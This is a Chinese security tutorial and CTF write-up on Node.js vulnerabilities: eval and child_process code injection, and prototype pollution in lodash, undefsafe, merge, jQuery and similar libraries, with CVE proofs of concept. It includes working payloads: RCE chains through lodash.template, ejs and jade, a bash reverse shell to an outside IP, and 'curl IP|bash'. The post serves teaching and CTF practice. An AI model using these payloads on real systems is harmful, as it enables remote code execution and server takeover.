nodejs全覆盖
2023-4-1 23:16:49 Author: xz.aliyun.com(查看原文) 阅读量:29 收藏

前言

或许前路永夜,即便如此我也要前进,因为星光即使微弱也会为我照亮前途。————四月是你的谎言

Nodejs

介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。

应用

  • 第一大类:用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
  • 第二大类:基于web、canvas等多人联网游戏
  • 第三大类:基于web的多人实时聊天客户端、聊天室、图文直播
  • 第四大类:单页面浏览器应用程序
  • 第五大类:操作数据库、为前端和移动端提供基于json​​的API

特性

大小写

toUpperCase() 在JavaScript中 是将小写改为大写的函数

但是就是在转换大小写的过程中 我们可以使用一些我们并不常见的字符 来转换出 我们所需要的字符 来绕过过滤

"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

那么相对应的 toLowerCase() 也会有相关的特性

"K".toLowerCase() == 'k'

弱类型

与php相似的 数字与数字字符串比较的时候 数字型字符串会被转换之后 再比较

console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

最后一个字符串 被转换完之后 可能是0 了捏

字符串与字符串相比较 比第一个ASCII码

console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false

空数组比较为false

数组之间比较 第一个值 如果有字符串取 第一个进行比较

数组永远比非数值字符串小

console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN)  // 输出:false
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

我们可以使用反引号 替代括号执行函数 可以用 反引号 替代 单引号 双引号 可以在反引号内 插入变量 模板字符串 是将字符串 作为参数传入函数中 而 参数 是一个数组 所以数组遇到${]​​ 字符串会被分割

var aaaa = "fake_s0u1";
console.log("hello %s",aaaa);

var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`;

代码注入

漏洞函数

eval()

javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');

我们可以看到 我们在上面的源码中 使用了eval函数

process 的作用是提供当前 node.js 进程信息并对其进行控制。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})

exec()​:启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。

execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。

fork()​:与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
setinterval()

setinterval (function,time),该函数的作用是每个两秒执行一次代码。

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
function()

function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。

var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

process 模块命令执行

exec​:
require('child_process').exec('calc');
execFile
require('child_process').execFile("calc",{shell:true});
fork
require('child_process').fork("./hacker.js");
spawn
require('child_process').spawn("calc",{shell:true});
反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

注意BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')​​来执行命令

文件操作

那么在上面 我们已经可以执行我们像执行的代码 了 那么对于文件的操作也是很好实现的

操作函数后面有Sync 代表同步方法

nodejs文件系统模块中的方法均有异步和同步版本 比如读取文件内容的函数有 异步的fs.readFile() 和 同步的 fs.readFileSync()。

异步的方法函数 最后一个 参数为 回调函数 回调函数的 第一个参数 包含了错误信息

建议使用异步方法 性能更高 速度更快

增删查改

res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());

原型链污染 step1

原型链污染就是 我们控制私有属性(proto)指向的原型对象(prototype), 将其的属性产生变更 那么所继承她的对象 也会拥有这个属性

prototype和proto 分别是甚么

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() {
    this.bar = 1
}

new Foo()

Foo函数的内容 就是 Foo类的构造函数 而this.bar 就是 Foo类的一个属性

为了简化编写JavaScript代码,ECMAScript 6后增加了class​​语法,但class​​其实只是一个语法糖。

一个类中 必然有一些方法 类似 属性this.bar 我们也可以将方法 定义再构造函数内部

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...​​就会执行一次,这个show​​方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望 在创建类的时候 只创建一次 show方法 这时候就要使用 prototype了

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

我们可以认为 原型prototype 是类Foo的一个属性 而 所有用Foo类实例化的对象 都将拥有这个属性中的 所有内容 而 所有用Foo类实例化 的对象 都将拥有这个属性的所有内容 包括变量和方法 比如 上面的foo对象 其天生就具有 foo.show() 方法

我们 可以通过 Foo.prototype 来访问Foo类的原型 但是 Foo实例化出来的对象 是不能通过 prototype访问原型的 那么 这个时候 就该__proto__​​ 登场了

一个 Foo类实例化出来的foo对象 可以通过 foo.__proto__​​ 属性 来访问Foo类的原型

foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype​​是一个类的属性,所有类对象在实例化的时候将会拥有prototype​​中的属性和方法
  2. 一个对象的__proto__​​属性,指向这个对象所在的类的prototype​​属性

JavaScript原型链污染

所有类对象 在实例化的 时候 都会拥有 prototype中的属性 和 方法 这个特性 被用来实现JavaScript 中的继承机制

such as

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类 继承了 Father类的last_name 属性 最后输出的 是 Name: Melania Trump

对于对象 son 在调用 son.last_name 的时候 实际上 JavaScript 引擎 会进行如下 操作

  1. 在对象son中寻找 last_name
  2. 找不到 则在son.proto 中寻找last_name
  3. 如果 仍然找不到 则继续在son.proto.proto 中寻找last_name
  4. 依次寻找 直到找到null 结束 比如 Object.prototype 的 proto都是 null

JavaScript的 这个 查找的机制 被应用在面向对象的继承中 被称作 prototype 继承链

综上 需要记住以下几点

  1. 每个构造函数 (constructor)都有一个原型对象(prototype)
  2. 对象的proto属性 指向类的原型对象 (prototype)
  3. JavaScript使用prototype 链实现继承机制

什么是原型链污染

一个demo

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

这个语句到最后 zoo.bar 的结果 是2 虽然zoo是一个 空对象

而这个的原因也就是 在前面我们修改foo的原型 foo.proto.bar =2 而 foo是一个 Object类的实例 所以 实际上是修改了Object这个类 给这个类增加了一个属性bar 值为2

后来 我们又用 Object类 创建了一个 zoo对象 那么 这个zoo对象 自然也有一个bar属性了

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

简单易懂的说 就是 儿子改了 老子也被传染了 然后其所再产生的儿子 也是这个属性了

demo2

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

o1 和 o2 相当于继承了Object.prototype 所以当我们对一个对象设置foo属性 就造成了原型链污染 导致Object2 也拥有了foo属性

那些情况下会有 原型链污染

如果 我们需要利用原型链污染 那我们就需要设置 __proto__​​ 的值 也就是需要找到能控制数组的键名的操作 最常见的就是merge clone copy

merge方法 是合并对象的方法 合并两个对象或者 多个对象的属性

clone方法 就是克隆捏

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中 存在赋值的操作 target[key] = source[key] 那么 这个key如果是 proto是不是就可以进行原型链污染

我们用如下代码试一下啊

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以看到 这样写 并没有进行污染 但是 二者合并了

这是因为 我们用JavaScript 创建o2的过程{a: 1, "__proto__": {b: 2}}​​ 中 proto已经代表o2的原型了 此时 遍历 o2所有键名 你拿到的是[a,b] proto并不是一个key 自然 也不会修改 Object的原型

那么 我们的任务就变成了 让proto 被认为是一个 键名

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)
最终输出
1 2
2

向上面这么写 最后会完成污染 这是因为 json解析的时候 proto会被认为成一个真正的键名 而不代表原型 所以在遍历o2的时候 会存在这个键

但是 我们输出a 为undefined

上面o1 o2 输出a为1 是因为 merge对二者进行了融合 但是并没有进行污染

Undefsafe 模块原型链污染(CVE-2019-10795)

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object.a.b.e)

console.log(object.a.c.e)

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

undefsafe可以帮我们解决这个问题

她还有一个功能 在对对象赋值时 如果目标属性 存在 其可以帮助我们修改对应属性的值

当属性不存在的时候 我们可以对属性赋值

这个需要下载 undefsafe小于2.0.3的版本

我们可以发现 当我们可以控制undefsafe函数的第2 3 个参数的时候 我们可以污染 object中的值

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)

我们可以看到 上面成功的进行了原型链污染

因为 在在上面 污染了toString 因为在当前对象中找不到 于是 需要向上溯源

最后在进行this is 和 test拼接的时候 触发了tostring 造成了原型链污染

在2.0.3后的版本 加上了下面的限制

应该是 对于其修改Object中本身的属性 做出了限制 所以 不能进行污染了

审计
split()
function splitStr(str, separator) {

    // Function to split string
    var string = str.split(separator);

    console.log(string);
}

// Initialize string
var str = "GeeksforGeeks/A/computer/science/portal";

var separator = "/";

// Function call
splitStr(str, separator);

Output:
[ 'GeeksforGeeks', 'A', 'computer', 'science', 'portal' ]
Array.prototype.filter()

filter()​​ 方法會建立一個經指定之函式運算後,由原陣列中通過該函式檢驗之元素所構成的新陣列。

const words = ['spray', 'limit', 'elite', 'exuberant', 'destruction', 'present'];

const result = words.filter(word => word.length > 6);

console.log(result);
// expected output: Array ["exuberant", "destruction", "present"]

相当于一个 过滤器

Array.prototype.slice()

slice()​​ 方法會回傳一個新陣列物件,為原陣列選擇之 begin​​ 至 end​​(不含 end​​)部分的淺拷貝(shallow copy)。而原本的陣列將不會被修改。

const animals = ['ant', 'bison', 'camel', 'duck', 'elephant'];

console.log(animals.slice(2));
// expected output: Array ["camel", "duck", "elephant"]

console.log(animals.slice(2, 4));
// expected output: Array ["camel", "duck"]

console.log(animals.slice(1, 5));
// expected output: Array ["bison", "camel", "duck", "elephant"]

console.log(animals.slice(-2));
// expected output: Array ["duck", "elephant"]

console.log(animals.slice(2, -1));
// expected output: Array ["camel", "duck"]

console.log(animals.slice());
// expected output: Array ["ant", "bison", "camel", "duck", "elephant"]

这是相当于一个数组切割的工具

Array.prototype.join()

join() 方法會將陣列(或一個類陣列(array-like)物件)中所有的元素連接、合併成一個字串,並回傳此字串。

const elements = ['Fire', 'Air', 'Water'];

console.log(elements.join());
// expected output: "Fire,Air,Water"

console.log(elements.join(''));
// expected output: "FireAirWater"

console.log(elements.join('-'));
// expected output: "Fire-Air-Water"

Merge类操作导致原型链污染

原型链污染的主要思想 实际上就是寻找能够操纵键值的位置 然后利用proto来向上污染

const merge = (a, b) => {    // 发现 merge 危险操作
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

const clone = (a) => {
  return merge({}, a);
}

在上面 我们使用了merge 进行操作 merge 方法用在merge操作 以及 clone操作中

我们可以 利用merge来合并两个 复杂的对象 用clone创建一个 和现在对象相同的对象

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

merge有着合并的作用

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

function clone(a) {
  return merge({}, a);
}

let object1 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');

clone(object1)
console.log(object1.a);
console.log(object1.b);


object2 = {}
console.log(object2.b)

clone 也是一样的

merge.recursiveMerge CVE-2020-28499

影响2.1.1以下的merge版本

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

我们可以审计以下源码 看一下 这里merge的漏洞出现在哪里

在此处进行了修复

lodash 模块原型链污染

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。

lodash.defaultsDeep 方法 CVE-2019-10744

此漏洞影响 小于4.17.12 版本的lodash

lodash库中的 defaultsDeep函数 可能会被包含constructor的payload诱骗添加或 修改Object.prototype 最终导致污染

漏洞发现者给出的poc

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

我们加上一个输出 可以验证一下 是否收到了污染

在这里已经 污染到原型了

其实 constructor 就可以理解为 实例化出来对象的时候 会触发 于是 便可以造成污染

在修复方法中 是直接将constructor check掉了 可以进行防御

lodash.merge 方法 CVE-2018-3721

merge是与上面所提到的merge是相差无几的

在其中调用了baseMerge

在这里没有直接调用 查找baseMergeDeep

调用assignMergeValue ​​​

这是一个经过了过滤的版本 之前没有过滤的版本是在这里直接可以控制键值对

这个版本中就是 将过滤放到了baseAssignValue 不改变proto 便可以进行赋值

在lodash 4.17.5之前的版本中 存在这个漏洞

lodash.mergeWith 方法 CVE-2018-16487

4.17.11之前的版本 存在这个漏洞

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

这个方法也是依靠 baseMerge 大致和上面的差不多

lodash.set 方法 以及 setWith 方法 CWE-400
lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

set类开始

跟进baseSet

跟进assignValue ​​​

跟进baseAssignValue ​​​

当key 不为proto 时 可以触发赋值

lodash.zipObjectDeep 方法 CVE-2020-8203

在lodash 4.17.20之前的版本适用

poc

const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123

查看源码

跟进baseZipObject

在此处利用到了 assign函数

就是可以进行 覆盖的 一个函数

在这里 我们demo中传入的值,前者给到prop,后者给到values

然后prop取其中的属性,适用values覆盖,便达到了目的

safe-obj 原型链污染 CVE-2021-25928

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

从poc中 可以看出 是在safeObj的expand里面 存在漏洞 那么我们直接可以看这部分的源码

关于path的解释如下

词如其名 就是 所使用的文件的路径

在此处 先是对传入的path进行 split 在demo中就是 分为了 [__proto__,polluted]​​ 然后在此处 判断props的length

在此处 数组中是由 [__proto__,polluted]​​ 组成的 length为1 所以proto 等于 thing 造成 原型链污染

注意 此处 数组中有两个元素的时候 length为1

safe-flat 原型链污染 CVE-2021-25927

poc

2.0.0 到 2.0.1 存在漏洞

var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);

漏洞点 如上

typeof的作用如上

isDate的作用 是判断是否为时间对象

forEach

reduce方法

jQuery 原型链污染 CVE-2019-11358

poc:

var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';

let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "fake_s0u1"}}'));
console.log({}.exploit);

注意 在镜像库中的 jquery 都是小写的 虽然在产品名中 有大写 npm是区分大小写的

console.table 原型链污染 CVE-2022-21824

Node.js < 12.22.9, < 14.18.3, < 16.13.2, and < 17.3.1

poc:

console.table([{a:1}], ['__proto__'])
console.table([{x:1}], ["__proto__"]);

原型链污染 step2

我们对原型链污染进行污染的目的 就是 要进行rce

lodash.template 进行rce

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置

在lodash中 options对象的sourceURL

options是一个对象 sourceURL是通过下面 的语句定义的 是通过了一个三目运算法赋值 取到了其options.sourceURL​​ 属性其默认没有此属性 所以其默认也为空

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

同时 在此处定义的sourceURL 在下面拼接进了 Function的第二个参数 造成任意代码执行漏洞

如果 给options的原型对象加一个 sourceURL 属性 那么便可以控制她的值

需要注意的是 Function里面 是没有require函数的 我们不能直接使用require('child_process')​​ 我们需要 使用global.process.mainModule.constructor._load​​ 来进行代替 后续的调用

payload

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

配合 ejs 模板引擎实现 RCE CVE-2022-29078

在Nodejs的 ejs模块引擎中 存在利用 原型污染进行rce的一个漏洞

"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"

配合 jade 模板引擎实现 RCE

jade模板引擎 也可以帮助我们实现原型链污染的rce

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

题目

web 334

附件给出两个文件 在user中 有用户名和密码 为CTFSHOW 和 123456 然后再login文件中 我们发现 username在传入的时候 是会经过toUpperCase 处理的也就是会变成大写 那么我们只需要传入ctfshow即可

web 335

题中提示我们eval 应该是我们所传入的命令就会被执行 那么我们不妨来看一下 命令如何被执行 我们这里查了一下我们可以利用child_process去执行命令 我们这里利用的是

这样三个函数

web 336

跟着y4师傅学到 我们可以使用

__filename //返回当前模块文件被解析过后的绝对路径
__dirname //返回当前模块文件解析过后的所在文件夹的绝对路径

于是我们这里可以使用前者获得以下回显

/app/routes/index.js

我们可以尝试着将其读取出来

?eval=require('fs').readFileSync('/app/routes/index.js')

这里调用的是fs文件系统 我们使用readFileSync来读取其文件 回显出该文件

var express = require('express'); var router = express.Router(); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var evalstring = req.query.eval; if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){ res.render('index',{ title: 'tql'}); }else{ res.render('index', { title: eval(evalstring) }); } }); module.exports = router;

我们从中可以看到exec 和 load 是被过滤掉了的 我们绕过exec 我们还可以使用spawn去执行命令 可以采用yu师傅的方法

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout

去读取 亦或者 我们可以从ssti那里学来拼接命令的方式来绕过其过滤

eval=require('child_process')['exe'%2B'cSync']('ls').toString()

这里我们的+ 需要使用url编码 否则是出不来的 原因大概是会被解析成空格

再或者说 我们在使用fs读取的时候 我们使用readdirSync 去读取目录中的文件 我们可以得到

/?eval=require('fs').readdirSync('.')
回显app.js,bin,fl001g.txt,modules,node_modules,package-lock.json,package.json,public,routes,sessions,views

我们可以从中发现flag 并可以使用同种方式去读取

?eval=require('fs').readFileSync('fl001g.txt')

可以得到flag

web 337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

我们从中可以看到 一段关键的代码 熟悉的MD5 我们这里就可以使用数组绕过 来绕过MD5

web338

一开始在app.js中看 没什么发现 在login.js中 有发现

需要把ctfshow污染 成36dboy 便可以直接输出 flag

{"__proto__":{"ctfshow":"36dboy"}}

web339

上来 再乍一看 感觉和上一个题差不多

但是 在这里传入 的值 变为了一个变量 且在上面定义了这个变量

借用羽师傅的一个demo

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

这里涉及到的是一个 变量的覆盖

最后输出的结果是覆盖后的结果

那么 为啥query会被修改呢

首先原型链污染 就是 js中 所有对象的原型都可以继承到 Object 然后 终点是null对象 在前面也有说 当在上下文中找不到相应对象的时候 会遍历Object对象 是否存在相应的属性

也就是说 在上面那个题中 不需要secret中有ctfshow属性 这个里面也不需要有query属性 当找不到的时候 会自动开始遍历 当我们进行污染之后 会在原型中找到相关的属性 而此时 这个属性已经被我们给污染了 为我们所用

在上面的demo中 就是当copy调用的时候 原型链被污染了

至于{ query: Function(query)(query)}​​ 为何为 { query: 123 }​​

js的函数实际上都是一个 Function对象 其参数为

new Function ([arg1[, arg2[, ...argN]],] functionBody)

0xgame dont_pollute_me

访问source路由可以获得源码

在源码中涉及到merge方法 可能涉及到原型链污染

在time路由中存在命令执行

gotit路由中 涉及到merge的利用 可以修改键值对

proto修改 修改cmd为自己想要执行的命令

{"__proto__":{"cmd":"bash -i >& /dev/tcp/1.13.251.106/4000 0>&1"}}

在gotit路由下修改完后 访问time路由触发命令执行

可以弹shell

使用

可以找到flag

[网鼎杯 2020 青龙组]notes

题目给出源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);    //应该是在这里涉及键值的修改
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {    //此处执行command代码
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

在上面的源码中 涉及到 undefsafe的使用 也就是说 只要我们可以控制其第 2 3 个参数 便可以达到原型链污染的目的

在上面存在 undefsafe的调用的 只有两处 第一处 在edit_note 另一处在 get_note

在edit的路由中

其实是三个参数 都是可以控制的 那么这里存在被污染的可能 那么 我们可以通过此处 对上面定义的 note_list 进行污染 然后再去status路由下 进行命令执行

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

在此处 我们看到 edit中的参数 id参数 是在undefsafe的第二个参数位置上的 author和raw是在 第三个参数上的

我们在这里 将id赋值为我们想要污染的属性 后面为污染的值

而在command处 则是对于其中可能存在的命令进行遍历 然后执行 也就是 我们可以随意的污染属性 从而达到执行命令的目的

payloadid=__proto__.aaa&author=curl IP|bash&raw=1

反弹shell

[GYCTF2020]Ez_Express

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

www.zip 源码泄露 以上为index.js 源码

上面定义了merge方法

在此处调用了 clone 存在 原型链污染的可能 在上面clone将传入的值 与 空白对象 进行merge操作

在下面的info路由中 将c ​​​渲染到了 index中 而且 在上面 outputFunctionName ​​​还是未定义的属性 我们可以尝试 污染这个属性

基本理顺了 但是 在尝试访问 action路由的时候 我们发现 只有admin才能访问 那么 我们需要尝试 以admin来登录 我们在register路由中

看到toUpperCase方法 这里可以 想到 在ctfshow中学习到的JavaScript的特性 toUpperCase 存在

"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'

以上的漏洞 我们可以 借此伪造admin登录

userid=admın&pwd=123&Submit=register

登录之后 就可以按照我们上面的思路 进行原型链污染

